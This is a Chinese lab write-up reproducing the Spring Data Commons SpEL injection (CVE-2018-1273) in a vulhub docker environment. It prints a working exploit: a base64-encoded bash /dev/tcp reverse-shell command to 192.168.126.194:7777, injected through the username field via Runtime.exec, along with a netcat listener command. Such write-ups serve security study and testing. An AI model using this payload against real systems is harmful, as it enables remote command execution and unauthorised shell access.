vulhub-Spring Data Commons 远程命令执行(CVE-2018-1273)复现

漏洞简介:

Spring Data 是一个简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data 下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞。

影响版本:

Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)

Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)

Spring Data Commons 2.0 - 2.0.5 (Kay SR5)

Spring Data REST 3.0 - 3.0.5 (Kay SR5)

漏洞复现:

启动环境:

docker-compose up -d

 稍等一会,环境启动后,访问http://your-ip:8080/users,将可以看到一个用户注册页面。
再请求体放入Payload,在注册的时候抓包,并修改成如下数据包:

 转发数据包后,进入容器可见成功创建rcetest.txt,说明命令执行成功:

现在来反弹shell,这里有个坑点是 Java Runtime.exe() 执行命令与反弹shell 要进行编码,java管道符无效的原因无法反弹,而且要使用IFS内部域分隔符,对空白处进行填充,不然也是反弹不回来的:

反弹shell

bash$IFS$9-i>&/dev/tcp/192.168.126.194/7777<&1 

 在base64编码平台进行编码

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash -c {echo,YmFzaCRJRlMkOS1pPiYvZGV2L3RjcC8xOTIuMTY4LjEyNi4xOTQvNzc3NzwmMSAK}|{base64,-d}|{bash,-i}")]=&password=&repeatedPassword=

 在攻击机开启监听

nc -lvvp 7777

替换paylaod、成功反弹shell:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值